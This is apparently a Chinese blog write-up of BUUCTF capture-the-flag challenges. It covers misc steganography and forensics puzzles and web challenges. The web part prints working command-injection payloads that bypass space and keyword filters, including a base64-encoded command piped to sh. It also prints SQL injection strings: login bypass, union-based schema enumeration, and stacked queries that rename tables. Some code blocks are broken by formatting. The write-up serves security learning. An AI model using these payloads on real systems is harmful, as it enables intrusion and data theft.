Some writeup about BUUCTF...

本文最后更新于:1 年前

Misc

1. 基础破解

rhH7tI.md.png

打开后为一个txt文件,包含一个Base64码

rhHTAA.md.png

解码后得到flag


2. zip伪加密

  • rhHHht.md.png首先看提示,zip伪加密,暴力破解是没用的,可以考虑使用winRAR修复人(基本没用😢)

  • 主要用winhex或010 Editor修改文件头的加密标志位

    • 一个zip文件有三个部分组成:

      压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志 (详解链接)

      这是三个头标记,主要看第二个

      压缩源文件数据区:50 4B 03 04:这是头文件标记

      压缩源文件目录区:

      50 4B 01 02:目录中文件文件头标记

      3F 00:压缩使用的 pkware

      版本

      14 00:解压文件所需 pkware 版本

      00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)

      压缩源文件目录结束标志 :50

      4B 05 06:目录结束标记

      来源[https://www.jianshu.com/p/05c81a2b4dd9]
  • 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了

    rhHI7d.md.png

  • 再次打开9即可得到flag


3. 九连环

123456cry
  • 题目给到一个图片,经过binwalk分离出隐藏文件(或win下直接修改扩展名,因为其含有完整的16进制压缩文件结构)
1
binwalk -e *jpg

20210508085720

  • zip文件为伪加密,做法同2
20210508153516
  • 解压后,包含一个含flag.txt的有密码压缩包和一个jpg图片,推测图片必有密码
  • 用binwalk之类工具都没有发现,这时使用steghide提取图片中隐藏信息
1
2
steghide info good.jpg	#查看
steghide extract -sf good.jpg #提取
  • 提取时有密码提示,好在出题人跳过,直接回车得到ko.txt,内含密码解压getflag。
20210508085701

4. 另外一个世界

monster
  • 010打开,结尾含01序列,开始以为是摩斯密码,无果…
20210508160425
  • 此题为ASCII编码,二进制8个一组,解码得到flag

5. 假如给我三天光明

pic
  • 充分发挥想象力,没错,和海伦凯勒有关,图片下部为一串盲文,即另一压缩文件的密码
  • 盲文对照表kmdonowg
202009091617300
  • 解压使用Audacity打开.wav,查看波形,听声音为莫斯密码
20210508162607
  • 根据波形敲出莫斯串解码得到flag

6. 隐藏的钥匙

隐藏的钥匙
  • 010打开搜索文本flag

20210508163037

  • base64解码得到flag

7. 来首歌吧

….. 0… 0.0. 0000. ..000 ….. 0…. ….0 0000. 0.0. 0… 00000 .0000 000.. 000.. ..0. ….. ..000 . 0…. .0000 00… 0.. 00… 00000 0000. ..000 0000. .0000 0000. .0000 0.0.

  • stego100.wav文件Audacity打开

20210508165440

  • 明显的左右声道,一串莫斯密码被隐藏

20210508165501

  • 按住Ctrl+鼠标滚轮调整大小,手动解莫斯

20210508165531

  • 解码得flag

8.easycap

20210508173405

  • 直接追踪TCP流得到flag
屏幕截图 2021-05-08 173522

10. 后门查杀(Webshell)

  • 下载附件,使用D盾查杀
20210509181334
  • 密码即为flag
20210509181344

11.

·

·



Web.

1. [HCTF 2018]WarmUp1

查看源码发现source.php被备php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

2.[GXYCTF2019]Ping Ping Ping

  • 首先根据提示,Ping 127.0.0.1,有回显
  • 加管道符连接命令ls,能够列处当前目录,疑似flag.php
  • 接下来尝试打开flag.php,发现空格及flag字样均被过滤
image-20211016161423479
  • 空格过滤大法,逐一尝试
1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //改成其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
1
payload:/?ip=1|cat$IFS$1flag.php
  • 优先查看index.php寻找突破口,回显如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

?>

  • flag、bash全部被过滤,无法直接打开查看,但$a可以先赋值再利用
1
payload:?ip=1;a=g;cat$IFS$1fla$a.php
  • 内联执行
1
payload:/?ip=2.2.2.2;cat$IFS$1`ls`
  • 先对cat flag.phpbase64加密,再用sh代替bash(官方payload)
1
payload:/?ip=2.2.2.2;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
  • flag不直接显示,需要查看源码

3.[极客大挑战 2019]EasySQL

  • 本题存在字符报错,可直接闭合+万能密码绕过验证,登录得到flag
image-20211016164009690
  • 按注入顺序来则复杂些

    • /check.php?username=1&password=1'报错

    • /check.php?username=1&password=1''正常返回密码错误

    • 使用%23(#)结尾注释进行注入

    • ```shell
      /check.php?username=1&password=1’ order by 3 %23 //字段为3
      //开始查看显示位置,flag已爆出
      /check.php?username=1&password=1’ union select 1,2,3 %23

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17

      ![image-20211016170011291](C:\Users\23135\Pictures\Saved Pictures\image-20211016170011291.png)

      ---

      ## 4.[极客大挑战 2019]Havefun

      + 拿到题目直接查看源码

      ```html
      <!--
      $cat=$_GET['cat'];
      echo $cat;
      if($cat=='dog'){
      echo 'Syc{cat_cat_cat_cat}';
      }
      -->
  • Get传参

1
payload:/?cat=dog

5.[强网杯 2019]随便注

  • 测试引号,发现存在字符注入
  • 查询字段数
1
/?inject=%27 order by 3 %23
  • 然而联合查询时发现被过滤,回显如下
1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
  • 尝试堆叠注入
1
2
3
4
//查库名
/?inject=%27;show databases; %23
//查表名
/?inject=%27;show tables; %23
  • 查到`1919810931114514`表,查看其结构(desc
1
/?inject=1';desc `1919810931114514`;%23
image-20211016174745308
  • 再查看words表的结构(desc words
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

  • 据其他博主所说,猜测初始页面直接查询的表,正是words
  • 语句为selsect id,data from words where id =
  • flag应该是在数字串的表中,因此开始操作,堆叠注入,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#爆出表所有内容就可以查flag
1
payload:/?inject=0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

![image-20211016175813386](C:\Users\23135\Pictures\Saved Pictures\image-20211016175813386.png)

注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符


6.[极客大挑战 2019]LoveSQL

  • 万能密码登录1' or 1=1 #,密码随便输

  • 结果可以正常登入,但无用

  • 返回注入思路,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
//字段数查询
check.php?username=1'order by 4 %23&password=1 #报错
check.php?username=1'order by 3 %23&password=1 #正常
//爆库
check.php?username=1'union select 1,2,database() %23&password=1 #回显geek
//爆表
check.php?username=1'union select 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() %23&password=1
#回显'geekuser,l0ve1ysq1',尝试表l0ve1ysq1
//爆列名
check.php?username=1'union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='l0ve1ysq1' %23&password=1
#回显'id,username,password'
//查看数据
check.php?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1 %23&password=1
  • 得到flag